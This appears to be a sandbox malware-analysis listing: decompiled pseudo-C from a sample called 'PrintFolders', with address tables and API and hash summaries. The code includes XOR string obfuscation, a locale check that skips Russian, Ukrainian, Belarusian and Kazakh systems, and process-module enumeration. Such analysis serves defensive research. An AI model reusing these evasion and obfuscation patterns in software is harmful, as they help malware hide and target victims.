                                                          											goto L62;
                                                          										} else {
                                                          											_t404 =  *(_t404 - 4);
                                                          											_t434 = _t434 + 0x23;
                                                          											__eflags = _t260 - _t404 + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												E00413527(_t363, _t434, __eflags);
                                                          												asm("int3");
                                                          												_push(_t473);
                                                          												_t475 = _t496;
                                                          												_push(0xffffffff);
                                                          												_push(0x42c5b5);
                                                          												_push( *[fs:0x0]);
                                                          												_t499 = _t496 - 0x5c;
                                                          												_t266 =  *0x43d054; // 0x6e36c9b5
                                                          												_t267 = _t266 ^ _t475;
                                                          												_v1760 = _t267;
                                                          												_push(_t363);
                                                          												_push(_t457);
                                                          												_push(_t445);
                                                          												_push(_t267);
                                                          												 *[fs:0x0] =  &_v1756;
                                                          												_t365 = 0;
                                                          												_t405 =  &_v1780;
                                                          												asm("xorps xmm0, xmm0");
                                                          												_v1816 = 0;
                                                          												asm("movq [ebp-0x24], xmm0");
                                                          												_v1772 = 0;
                                                          												L51(); // executed
                                                          												_v1748 = 0;
                                                          												_t269 = _v1776;
                                                          												_t447 = _v1780;
                                                          												_v1820 = _t269;
                                                          												__eflags = _t447 - _t269;
                                                          												if(_t447 == _t269) {
                                                          													L92:
                                                          													_t366 = 0;
                                                          													__eflags = 0;
                                                          													goto L93;
                                                          												} else {
                                                          													_v52 = 0x5d5d5b7c;
                                                          													_v48 = 0x2e404f47;
                                                          													_t464 =  *( *[fs:0x2c]);
                                                          													_v108 = _t464;
                                                          													do {
                                                          														E0040BB90(_t365,  &_v92, _t434, _t447, _t447);
                                                          														_v68 =  *((intOrPtr*)(_t447 + 0x18));
                                                          														_v32 = 1;
                                                          														_t302 =  *0x451008;
                                                          														__eflags =  *0x451008 -  *((intOrPtr*)(_t464 + 4));
                                                          														if( *0x451008 >  *((intOrPtr*)(_t464 + 4))) {
                                                          															E0040EF48(_t302, 0x451008);
                                                          															_t499 = _t499 + 4;
                                                          															__eflags =  *0x451008 - 0xffffffff;
                                                          															if(__eflags == 0) {
                                                          																_t140 =  &_v52; // 0x5d5d5b7c
                                                          																 *0x450d20 =  *_t140;
                                                          																_t141 =  &_v48; // 0x2e404f47
                                                          																 *0x450d24 =  *_t141;
                                                          																E0040F25B( &_v92, __eflags, 0x42cee0);
                                                          																E0040EEFE(0x451008);
                                                          																_t499 = _t499 + 8;
                                                          															}
                                                          														}
                                                          														_t303 =  *0x450d27; // 0x0
                                                          														__eflags = _t303;
                                                          														if(_t303 != 0) {
                                                          															 *0x450d20 =  *0x450d20 ^ 0x0000002e;
                                                          															 *0x450d21 =  *0x450d21 ^ 0x0000002e;
                                                          															 *0x450d22 =  *0x450d22 ^ 0x0000002e;
                                                          															 *0x450d23 =  *0x450d23 ^ 0x0000002e;
                                                          															 *0x450d24 =  *0x450d24 ^ 0x0000002e;
                                                          															 *0x450d25 =  *0x450d25 ^ 0x0000002e;
                                                          															 *0x450d26 =  *0x450d26 ^ 0x0000002e;
                                                          															_t327 = _t303 ^ 0x0000002e;
                                                          															__eflags = _t327;
                                                          															 *0x450d27 = _t327;
                                                          														}
                                                          														_t304 = 0x450d20;
                                                          														_v132 = 0;
                                                          														_v116 = 0;
                                                          														_v112 = 0xf;
                                                          														_t145 =  &(_t304[1]); // 0x450d21
                                                          														_t440 = _t145;
                                                          														do {
                                                          															_t422 =  *_t304;
                                                          															_t304 =  &(_t304[1]);
                                                          															__eflags = _t422;
                                                          														} while (_t422 != 0);
                                                          														E004026B0(_t365,  &_v132, 0x450d20, _t304 - _t440);
                                                          														_t457 = _v92;
                                                          														_t434 = _v76;
                                                          														__eflags = _v112 - 0x10;
                                                          														_v100 = _t365 | 0x00000001;
                                                          														_t366 = _v132;
                                                          														_t308 =  >=  ? _t366 :  &_v132;
                                                          														__eflags = _v72 - 0x10;
                                                          														_t405 =  >=  ? _t457 :  &_v92;
                                                          														_t309 = E00402890(_t405, _t434, _t405,  >=  ? _t366 :  &_v132, _v116);
                                                          														_t499 = _t499 + 0xc;
                                                          														__eflags = _t309 - 0xffffffff;
                                                          														if(_t309 != 0xffffffff) {
                                                          															L76:
                                                          															_v93 = 1;
                                                          														} else {
                                                          															__eflags = _v72 - 0x10;
                                                          															_t434 = _v76;
                                                          															_t405 =  >=  ? _t457 :  &_v92;
                                                          															_t326 = E00402890(_t405, _t434, _t405, 0x439a6c, 7);
                                                          															_t499 = _t499 + 0xc;
                                                          															_v93 = 0;
                                                          															__eflags = _t326 - 0xffffffff;
                                                          															if(_t326 != 0xffffffff) {
                                                          																goto L76;
                                                          															}
                                                          														}
                                                          														_v100 = _v100 & 0xfffffffe;
                                                          														_t310 = _v112;
                                                          														__eflags = _t310 - 0x10;
                                                          														if(_t310 < 0x10) {
                                                          															L81:
                                                          															__eflags = _v93;
                                                          															if(_v93 != 0) {
                                                          																L97:
                                                          																_t311 = _v72;
                                                          																__eflags = _t311 - 0x10;
                                                          																if(_t311 < 0x10) {
                                                          																	L101:
                                                          																	_t447 = _v64;
                                                          																	_t366 = 1;
                                                          																	L93:
                                                          																	__eflags = _t447;
                                                          																	if(_t447 == 0) {
                                                          																		L103:
                                                          																		 *[fs:0x0] = _v40;
                                                          																		_pop(_t448);
                                                          																		_pop(_t459);
                                                          																		_pop(_t367);
                                                          																		__eflags = _v44 ^ _t475;
                                                          																		return E0040EBBF(_t366, _t367, _v44 ^ _t475, _t434, _t448, _t459);
                                                          																	} else {
                                                          																		_push(_t405);
                                                          																		E0040D380(_t447, _v60, _t447, _t457);
                                                          																		_t460 = _v64;
                                                          																		_t501 = _t499 + 4;
                                                          																		_t434 = (0x92492493 * (_v56 - _t460) >> 0x20) + _v56 - _t460 >> 4;
                                                          																		_t278 = _t460;
                                                          																		_t415 = ((_t434 >> 0x1f) + _t434) * 8 - (_t434 >> 0x1f) + _t434 << 2;
                                                          																		__eflags = _t415 - 0x1000;
                                                          																		if(_t415 < 0x1000) {
                                                          																			L102:
                                                          																			_push(_t415);
                                                          																			E0040EDFF(_t460);
                                                          																			goto L103;
                                                          																		} else {
                                                          																			_t460 =  *((intOrPtr*)(_t460 - 4));
                                                          																			_t415 = _t415 + 0x23;
                                                          																			__eflags = _t278 - _t460 + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				E00413527(_t366, _t434, __eflags);
                                                          																				goto L105;
                                                          																			} else {
                                                          																				goto L102;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t187 = _t311 + 1; // 0x11
                                                          																	_t405 = _t187;
                                                          																	_t312 = _t457;
                                                          																	__eflags = _t405 - 0x1000;
                                                          																	if(_t405 < 0x1000) {
                                                          																		L100:
                                                          																		_push(_t405);
                                                          																		E0040EDFF(_t457);
                                                          																		_t499 = _t499 + 8;
                                                          																		goto L101;
                                                          																	} else {
                                                          																		_t460 =  *((intOrPtr*)(_t457 - 4));
                                                          																		_t415 = _t405 + 0x23;
                                                          																		__eflags = _t312 - _t460 + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L105;
                                                          																		} else {
                                                          																			goto L100;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t316 = _v68;
                                                          																__eflags = _t316 - 0x419;
                                                          																if(_t316 == 0x419) {
                                                          																	goto L97;
                                                          																} else {
                                                          																	__eflags = _t316 - 0x422;
                                                          																	if(_t316 == 0x422) {
                                                          																		goto L97;
                                                          																	} else {
                                                          																		__eflags = _t316 - 0x423;
                                                          																		if(_t316 == 0x423) {
                                                          																			goto L97;
                                                          																		} else {
                                                          																			__eflags = _t316 - 0x43f;
                                                          																			if(_t316 == 0x43f) {
                                                          																				goto L97;
                                                          																			} else {
                                                          																				_v32 = 0;
                                                          																				_t317 = _v72;
                                                          																				__eflags = _t317 - 0x10;
                                                          																				if(_t317 < 0x10) {
                                                          																					goto L90;
                                                          																				} else {
                                                          																					_t171 = _t317 + 1; // 0x11
                                                          																					_t405 = _t171;
                                                          																					_t318 = _t457;
                                                          																					__eflags = _t405 - 0x1000;
                                                          																					if(_t405 < 0x1000) {
                                                          																						L89:
                                                          																						_push(_t405);
                                                          																						E0040EDFF(_t457);
                                                          																						_t499 = _t499 + 8;
                                                          																						goto L90;
                                                          																					} else {
                                                          																						_t460 =  *((intOrPtr*)(_t457 - 4));
                                                          																						_t415 = _t405 + 0x23;
                                                          																						__eflags = _t318 - _t460 + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L105;
                                                          																						} else {
                                                          																							goto L89;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t164 = _t310 + 1; // 0x11
                                                          															_t405 = _t164;
                                                          															_t322 = _t366;
                                                          															__eflags = _t405 - 0x1000;
                                                          															if(_t405 < 0x1000) {
                                                          																L80:
                                                          																_push(_t405);
                                                          																E0040EDFF(_t366);
                                                          																_t457 = _v92;
                                                          																_t499 = _t499 + 8;
                                                          																goto L81;
                                                          															} else {
                                                          																_t366 =  *(_t366 - 4);
                                                          																_t415 = _t405 + 0x23;
                                                          																__eflags = _t322 - _t366 + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	L105:
                                                          																	E00413527(_t366, _t434, __eflags);
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	_push(_t475);
                                                          																	_t477 = _t501;
                                                          																	_t284 =  *0x43d054; // 0x6e36c9b5
                                                          																	_v1872 = _t284 ^ _t477;
                                                          																	_push(_t460);
                                                          																	_push(_t447);
                                                          																	_t449 = _t415;
                                                          																	_v2140 = _t449;
                                                          																	_v2140 = _t449;
                                                          																	_t286 =  *0x439a7c; // 0x3e
                                                          																	asm("movq xmm0, [0x439a74]");
                                                          																	_v2124 = _t286;
                                                          																	asm("movq [ebp-0x108], xmm0");
                                                          																	E00410B00(_t449,  &_v2122, 0, 0xfa);
                                                          																	_t462 = OpenProcess(0x410, 0, _t434);
                                                          																	__eflags = _t462;
                                                          																	if(_t462 != 0) {
                                                          																		_t297 =  &_v304;
                                                          																		__imp__K32EnumProcessModules(_t462, _t297, 4,  &_v300); // executed
                                                          																		__eflags = _t297;
                                                          																		if(_t297 != 0) {
                                                          																			__imp__K32GetModuleBaseNameA(_t462, _v304,  &_v296, 0x104); // executed
                                                          																		}
                                                          																	}
                                                          																	FindCloseChangeNotification(_t462); // executed
                                                          																	_t416 =  &_v296;
                                                          																	 *_t449 = 0;
                                                          																	_t449[4] = 0;
                                                          																	_t439 = _t416 + 1;
                                                          																	_t449[5] = 0xf;
                                                          																	 *_t449 = 0;
                                                          																	do {
                                                          																		_t291 =  *_t416;
                                                          																		_t416 = _t416 + 1;
                                                          																		__eflags = _t291;
                                                          																	} while (_t291 != 0);
                                                          																	E004026B0(_t366, _t449,  &_v296, _t416 - _t439);
                                                          																	_pop(_t450);
                                                          																	__eflags = _v36 ^ _t477;
                                                          																	_pop(_t463);
                                                          																	return E0040EBBF(_t449, _t366, _v36 ^ _t477, _t439, _t450, _t463);
                                                          																} else {
                                                          																	goto L80;
                                                          																}
                                                          															}
                                                          														}
                                                          														goto L112;
                                                          														L90:
                                                          														_t365 = _v100;
                                                          														_t447 = _t447 + 0x1c;
                                                          														_t464 = _v108;
                                                          														__eflags = _t447 - _v104;
                                                          													} while (_t447 != _v104);
                                                          													_t447 = _v64;
                                                          													goto L92;
                                                          												}
                                                          											} else {
                                                          												goto L61;
                                                          											}
                                                          										}
                                                          									}
                                                          									goto L112;
                                                          									L62:
                                                          									_t445 = _t445 + 1;
                                                          									__eflags = _t445 - _v1580;
                                                          								} while (_t445 < _v1580);
                                                          								goto L63;
                                                          							}
                                                          						} else {
                                                          							goto L13;
                                                          						}
                                                          					}
                                                          				}
                                                          				L112:
                                                          			}





















































































































































































                                                          0x00404840
                                                          0x00404840
                                                          0x00404841
                                                          0x00404849
                                                          0x00404850
                                                          0x00404854
                                                          0x00404856
                                                          0x00404858
                                                          0x00404863
                                                          0x00404864
                                                          0x00404865
                                                          0x00404868
                                                          0x0040486d
                                                          0x0040486f
                                                          0x00404872
                                                          0x00404874
                                                          0x00404878
                                                          0x00404884
                                                          0x0040488b
                                                          0x00404892
                                                          0x00404899
                                                          0x0040489b
                                                          0x004048a6
                                                          0x004048ad
                                                          0x004048b2
                                                          0x004048b5
                                                          0x004048bc
                                                          0x004048be
                                                          0x004048cb
                                                          0x004048d3
                                                          0x004048d8
                                                          0x004048e5
                                                          0x004048ea
                                                          0x004048ea
                                                          0x004048bc
                                                          0x004048f4
                                                          0x004048f6
                                                          0x00404900
                                                          0x00404900
                                                          0x00404907
                                                          0x00404908
                                                          0x00404900
                                                          0x0040490d
                                                          0x00404912
                                                          0x00404919
                                                          0x00404920
                                                          0x00404927
                                                          0x0040492b
                                                          0x0040492b
                                                          0x00404930
                                                          0x00404930
                                                          0x00404932
                                                          0x00404933
                                                          0x00404942
                                                          0x00404947
                                                          0x00404955
                                                          0x0040495a
                                                          0x0040495f
                                                          0x00404961
                                                          0x00404968
                                                          0x0040496a
                                                          0x00404971
                                                          0x00404974
                                                          0x0040497b
                                                          0x0040497f
                                                          0x0040497f
                                                          0x00404982
                                                          0x00404982
                                                          0x00404984
                                                          0x00404985
                                                          0x00404990
                                                          0x00404995
                                                          0x00404999
                                                          0x0040499f
                                                          0x004049cd
                                                          0x004049d2
                                                          0x004049d7
                                                          0x004049de
                                                          0x004049e5
                                                          0x004049e9
                                                          0x004049eb
                                                          0x004049f3
                                                          0x00404a16
                                                          0x00404a1a
                                                          0x00404a1d
                                                          0x00404a20
                                                          0x00404a22
                                                          0x004049f5
                                                          0x004049fb
                                                          0x004049fe
                                                          0x00404a02
                                                          0x00404a04
                                                          0x00404a07
                                                          0x00404a08
                                                          0x00404a0d
                                                          0x00404a10
                                                          0x00404a10
                                                          0x00404a27
                                                          0x00404a2c
                                                          0x00404a33
                                                          0x00404a3a
                                                          0x00404a44
                                                          0x00404a4b
                                                          0x00404a50
                                                          0x00404a53
                                                          0x00404a5a
                                                          0x00404a5c
                                                          0x00404a69
                                                          0x00404a71
                                                          0x00404a76
                                                          0x00404a83
                                                          0x00404a88
                                                          0x00404a88
                                                          0x00404a5a
                                                          0x00404a8b
                                                          0x00404a92
                                                          0x00404a94
                                                          0x00404a9b
                                                          0x00404aa2
                                                          0x00404aa9
                                                          0x00404ab0
                                                          0x00404ab7
                                                          0x00404abe
                                                          0x00404ac5
                                                          0x00404ace
                                                          0x00404ace
                                                          0x00404ad3
                                                          0x00404ad6
                                                          0x00404adb
                                                          0x00404add
                                                          0x00404add
                                                          0x00404ae0
                                                          0x00404ae6
                                                          0x00404aed
                                                          0x00404af4
                                                          0x00404af4
                                                          0x00404af6
                                                          0x00404af7
                                                          0x00404b05
                                                          0x00404b0d
                                                          0x00404b12
                                                          0x00404b15
                                                          0x00404b1b
                                                          0x00404b20
                                                          0x00404b2a
                                                          0x00404b31
                                                          0x00404b36
                                                          0x00404b39
                                                          0x00404b40
                                                          0x00404b42
                                                          0x00404b51
                                                          0x00404b58
                                                          0x00404b5d
                                                          0x00404b6a
                                                          0x00404b6f
                                                          0x00404b6f
                                                          0x00404b40
                                                          0x00404b72
                                                          0x00404b79
                                                          0x00404b7b
                                                          0x00404b84
                                                          0x00404b8b
                                                          0x00404b8f
                                                          0x00404b94
                                                          0x00404b94
                                                          0x00404b9b
                                                          0x00404b9e
                                                          0x00404ba3
                                                          0x00404ba5
                                                          0x00404ba5
                                                          0x00404ba8
                                                          0x00404bae
                                                          0x00404bb5
                                                          0x00404bc0
                                                          0x00404bc0
                                                          0x00404bc2
                                                          0x00404bc3
                                                          0x00404bd1
                                                          0x00404bd9
                                                          0x00404bde
                                                          0x00404be1
                                                          0x00404be9
                                                          0x00404bee
                                                          0x00404bf8
                                                          0x00404bff
                                                          0x00404c04
                                                          0x00404c07
                                                          0x00404c0e
                                                          0x00404c10
                                                          0x00404c20
                                                          0x00404c27
                                                          0x00404c2d
                                                          0x00404c3a
                                                          0x00404c3f
                                                          0x00404c3f
                                                          0x00404c0e
                                                          0x00404c49
                                                          0x00404c4b
                                                          0x00404c52
                                                          0x00404c57
                                                          0x00404c5e
                                                          0x00404c62
                                                          0x00404c70
                                                          0x00404c70
                                                          0x00404c77
                                                          0x00404c78
                                                          0x00404c70
                                                          0x00404c7d
                                                          0x00404c80
                                                          0x00404c85
                                                          0x00404c87
                                                          0x00404c87
                                                          0x00404c8a
                                                          0x00404c90
                                                          0x00404c97
                                                          0x00404ca0
                                                          0x00404ca0
                                                          0x00404ca2
                                                          0x00404ca3
                                                          0x00404cb1
                                                          0x00404cb9
                                                          0x00404cbe
                                                          0x00404cc3
                                                          0x00404cd8
                                                          0x00404cd8
                                                          0x00404cd1
                                                          0x00404cd1
                                                          0x00404cd1
                                                          0x00404cda
                                                          0x00404ce0
                                                          0x00404d0a
                                                          0x00404d0f
                                                          0x00404d17
                                                          0x00404d18
                                                          0x00404d29
                                                          0x00404ce2
                                                          0x00404ce2
                                                          0x00404ce5
                                                          0x00404ce6
                                                          0x00404cee
                                                          0x00404d00
                                                          0x00404d00
                                                          0x00404d02
                                                          0x00000000
                                                          0x00404cf0
                                                          0x00404cf0
                                                          0x00404cf3
                                                          0x00404cfe
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404cfe
                                                          0x00404cee
                                                          0x004049a1
                                                          0x004049a1
                                                          0x004049a4
                                                          0x004049a5
                                                          0x004049ad
                                                          0x004049c3
                                                          0x004049c3
                                                          0x004049c5
                                                          0x004049ca
                                                          0x00000000
                                                          0x004049af
                                                          0x004049af
                                                          0x004049b2
                                                          0x004049bd
                                                          0x00404d2a
                                                          0x00404d2f
                                                          0x00404d2f
                                                          0x00404d34
                                                          0x00404d35
                                                          0x00404d36
                                                          0x00404d37
                                                          0x00404d38
                                                          0x00404d39
                                                          0x00404d3a
                                                          0x00404d3b
                                                          0x00404d3c
                                                          0x00404d3d
                                                          0x00404d3e
                                                          0x00404d3f
                                                          0x00404d40
                                                          0x00404d41
                                                          0x00404d49
                                                          0x00404d4c
                                                          0x00404d50
                                                          0x00404d54
                                                          0x00404d56
                                                          0x00404d58
                                                          0x00404d63
                                                          0x00404d64
                                                          0x00404d65
                                                          0x00404d6b
                                                          0x00404d70
                                                          0x00404d72
                                                          0x00404d75
                                                          0x00404d76
                                                          0x00404d77
                                                          0x00404d7b
                                                          0x00404d81
                                                          0x00404d83
                                                          0x00404d89
                                                          0x00404d8f
                                                          0x00404d92
                                                          0x00404d9c
                                                          0x00404da0
                                                          0x00404da7
                                                          0x00404dad
                                                          0x00404db4
                                                          0x00404dc1
                                                          0x00404dce
                                                          0x00404dd8
                                                          0x00404dde
                                                          0x00404de0
                                                          0x00404de6
                                                          0x00404de8
                                                          0x00404efa
                                                          0x00404eff
                                                          0x00404f07
                                                          0x00404f08
                                                          0x00404f0c
                                                          0x00404f19
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404df0
                                                          0x00404e07
                                                          0x00404e0d
                                                          0x00404e13
                                                          0x00404e19
                                                          0x00404e23
                                                          0x00404e2d
                                                          0x00404e30
                                                          0x00404e3a
                                                          0x00404e41
                                                          0x00404e41
                                                          0x00404e43
                                                          0x00404e44
                                                          0x00404e44
                                                          0x00404e58
                                                          0x00404e5d
                                                          0x00404e63
                                                          0x00404e69
                                                          0x00404e70
                                                          0x00404e73
                                                          0x00404e76
                                                          0x00404eaa
                                                          0x00404eab
                                                          0x00404eae
                                                          0x00404eb3
                                                          0x00404e78
                                                          0x00404e78
                                                          0x00404e7f
                                                          0x00404e84
                                                          0x00404e8b
                                                          0x00404e8e
                                                          0x00404e96
                                                          0x00404e9b
                                                          0x00404e9e
                                                          0x00404e9e
                                                          0x00404eb9
                                                          0x00404ebd
                                                          0x00404ec0
                                                          0x00000000
                                                          0x00404ec2
                                                          0x00404ec2
                                                          0x00404ec8
                                                          0x00404ec9
                                                          0x00404ecb
                                                          0x00404ed1
                                                          0x00404ee3
                                                          0x00404ee3
                                                          0x00404ee5
                                                          0x00404eea
                                                          0x00000000
                                                          0x00404ed3
                                                          0x00404ed3
                                                          0x00404ed6
                                                          0x00404ede
                                                          0x00404ee1
                                                          0x00404f1a
                                                          0x00404f1f
                                                          0x00404f20
                                                          0x00404f21
                                                          0x00404f23
                                                          0x00404f25
                                                          0x00404f30
                                                          0x00404f31
                                                          0x00404f34
                                                          0x00404f39
                                                          0x00404f3b
                                                          0x00404f3e
                                                          0x00404f3f
                                                          0x00404f40
                                                          0x00404f41
                                                          0x00404f45
                                                          0x00404f4b
                                                          0x00404f4d
                                                          0x00404f50
                                                          0x00404f53
                                                          0x00404f56
                                                          0x00404f5b
                                                          0x00404f5e
                                                          0x00404f63
                                                          0x00404f66
                                                          0x00404f69
                                                          0x00404f6c
                                                          0x00404f6f
                                                          0x00404f71
                                                          0x00405185
                                                          0x00405185
                                                          0x00405185
                                                          0x00000000
                                                          0x00404f77
                                                          0x00404f7d
                                                          0x00404f84
                                                          0x00404f8b
                                                          0x00404f8d
                                                          0x00404f90
                                                          0x00404f94
                                                          0x00404f9c
                                                          0x00404f9f
                                                          0x00404fa3
                                                          0x00404fa8
                                                          0x00404fae
                                                          0x00404fb5
                                                          0x00404fba
                                                          0x00404fbd
                                                          0x00404fc4
                                                          0x00404fc6
                                                          0x00404fc9
                                                          0x00404fce
                                                          0x00404fd6
                                                          0x00404fdb
                                                          0x00404fe8
                                                          0x00404fed
                                                          0x00404fed
                                                          0x00404fc4
                                                          0x00404ff0
                                                          0x00404ff5
                                                          0x00404ff7
                                                          0x00404ff9
                                                          0x00405000
                                                          0x00405007
                                                          0x0040500e
                                                          0x00405015
                                                          0x0040501c
                                                          0x00405023
                                                          0x0040502a
                                                          0x0040502a
                                                          0x0040502c
                                                          0x0040502c
                                                          0x00405031
                                                          0x00405036
                                                          0x0040503d
                                                          0x00405044
                                                          0x0040504b
                                                          0x0040504b
                                                          0x00405050
                                                          0x00405050
                                                          0x00405052
                                                          0x00405053
                                                          0x00405053
                                                          0x00405062
                                                          0x0040506a
                                                          0x00405070
                                                          0x00405079
                                                          0x0040507d
                                                          0x00405080
                                                          0x00405083
                                                          0x00405086
                                                          0x0040508b
                                                          0x0040508f
                                                          0x00405094
                                                          0x00405097
                                                          0x0040509a
                                                          0x004050c2
                                                          0x004050c2
                                                          0x0040509c
                                                          0x0040509c
                                                          0x004050a3
                                                          0x004050a8
                                                          0x004050b1
                                                          0x004050b6
                                                          0x004050b9
                                                          0x004050bd
                                                          0x004050c0
                                                          0x00000000
                                                          0x00000000
                                                          0x004050c0
                                                          0x004050c6
                                                          0x004050ca
                                                          0x004050cd
                                                          0x004050d0
                                                          0x00405100
                                                          0x00405100
                                                          0x00405104
                                                          0x004051e0
                                                          0x004051e0
                                                          0x004051e3
                                                          0x004051e6
                                                          0x0040520f
                                                          0x0040520f
                                                          0x00405212
                                                          0x00405187
                                                          0x00405187
                                                          0x00405189
                                                          0x00405226
                                                          0x0040522b
                                                          0x00405233
                                                          0x00405234
                                                          0x00405235
                                                          0x00405239
                                                          0x00405243
                                                          0x0040518f
                                                          0x00405192
                                                          0x00405195
                                                          0x004051a2
                                                          0x004051a5
                                                          0x004051ae
                                                          0x004051c1
                                                          0x004051c3
                                                          0x004051c6
                                                          0x004051cc
                                                          0x0040521c
                                                          0x0040521c
                                                          0x0040521e
                                                          0x00000000
                                                          0x004051ce
                                                          0x004051ce
                                                          0x004051d1
                                                          0x004051d9
                                                          0x004051dc
                                                          0x00405244
                                                          0x00000000
                                                          0x004051de
                                                          0x00000000
                                                          0x004051de
                                                          0x004051dc
                                                          0x004051cc
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051e8
                                                          0x004051eb
                                                          0x004051ed
                                                          0x004051f3
                                                          0x00405205
                                                          0x00405205
                                                          0x00405207
                                                          0x0040520c
                                                          0x00000000
                                                          0x004051f5
                                                          0x004051f5
                                                          0x004051f8
                                                          0x00405200
                                                          0x00405203
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405203
                                                          0x004051f3
                                                          0x0040510a
                                                          0x0040510a
                                                          0x0040510d
                                                          0x00405112
                                                          0x00000000
                                                          0x00405118
                                                          0x00405118
                                                          0x0040511d
                                                          0x00000000
                                                          0x00405123
                                                          0x00405123
                                                          0x00405128
                                                          0x00000000
                                                          0x0040512e
                                                          0x0040512e
                                                          0x00405133
                                                          0x00000000
                                                          0x00405139
                                                          0x00405139
                                                          0x0040513d
                                                          0x00405140
                                                          0x00405143
                                                          0x00000000
                                                          0x00405145
                                                          0x00405145
                                                          0x00405145
                                                          0x00405148
                                                          0x0040514a
                                                          0x00405150
                                                          0x00405166
                                                          0x00405166
                                                          0x00405168
                                                          0x0040516d
                                                          0x00000000
                                                          0x00405152
                                                          0x00405152
                                                          0x00405155
                                                          0x0040515d
                                                          0x00405160
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405160
                                                          0x00405150
                                                          0x00405143
                                                          0x00405133
                                                          0x00405128
                                                          0x0040511d
                                                          0x00405112
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d2
                                                          0x004050d5
                                                          0x004050d7
                                                          0x004050dd
                                                          0x004050f3
                                                          0x004050f3
                                                          0x004050f5
                                                          0x004050fa
                                                          0x004050fd
                                                          0x00000000
                                                          0x004050df
                                                          0x004050df
                                                          0x004050e2
                                                          0x004050ea
                                                          0x004050ed
                                                          0x00405249
                                                          0x00405249
                                                          0x0040524e
                                                          0x0040524f
                                                          0x00405250
                                                          0x00405251
                                                          0x00405259
                                                          0x00405260
                                                          0x00405263
                                                          0x00405264
                                                          0x00405265
                                                          0x00405269
                                                          0x0040526f
                                                          0x00405275
                                                          0x0040527b
                                                          0x00405288
                                                          0x00405298
                                                          0x004052a0
                                                          0x004052b6
                                                          0x004052b8
                                                          0x004052ba
                                                          0x004052c5
                                                          0x004052cd
                                                          0x004052d3
                                                          0x004052d5
                                                          0x004052ea
                                                          0x004052ea
                                                          0x004052d5
                                                          0x004052f1
                                                          0x004052f7
                                                          0x004052fd
                                                          0x00405303
                                                          0x0040530a
                                                          0x0040530d
                                                          0x00405314
                                                          0x00405317
                                                          0x00405317
                                                          0x00405319
                                                          0x0040531a
                                                          0x0040531a
                                                          0x0040532a
                                                          0x00405334
                                                          0x00405335
                                                          0x00405337
                                                          0x00405340
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004050ed
                                                          0x004050dd
                                                          0x00000000
                                                          0x00405170
                                                          0x00405170
                                                          0x00405173
                                                          0x00405176
                                                          0x00405179
                                                          0x00405179
                                                          0x00405182
                                                          0x00000000
                                                          0x00405182
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00404ee1
                                                          0x00404ed1
                                                          0x00000000
                                                          0x00404eed
                                                          0x00404eed
                                                          0x00404eee
                                                          0x00404eee
                                                          0x00000000
                                                          0x00404df0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004049bd
                                                          0x004049ad
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 004048E5
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          • __Init_thread_footer.LIBCMT ref: 00404A83
                                                          • __Init_thread_footer.LIBCMT ref: 00404B6A
                                                          • __Init_thread_footer.LIBCMT ref: 00404C3A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CriticalInit_thread_footerSection$EnterLeave$ConditionVariableWake
                                                          • String ID: O@K\$\Desktop$mmBK${}k|
                                                          • API String ID: 4264893276-1521651405
                                                          • Opcode ID: 8df569c9253b2e4154696794805b32007486ec4b4e197a8cb0baa30961dbfd60
                                                          • Instruction ID: c12f54c9c6adfdaa1c56a5fc3e30a9e30d2afb8bc8bcc1abd1d89b7747afa6d4
                                                          • Opcode Fuzzy Hash: 8df569c9253b2e4154696794805b32007486ec4b4e197a8cb0baa30961dbfd60
                                                          • Instruction Fuzzy Hash: 82D136B59003848BEB14DF78EC067AE7B70AB45308F14427ED9403B2D3D7B9A949CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
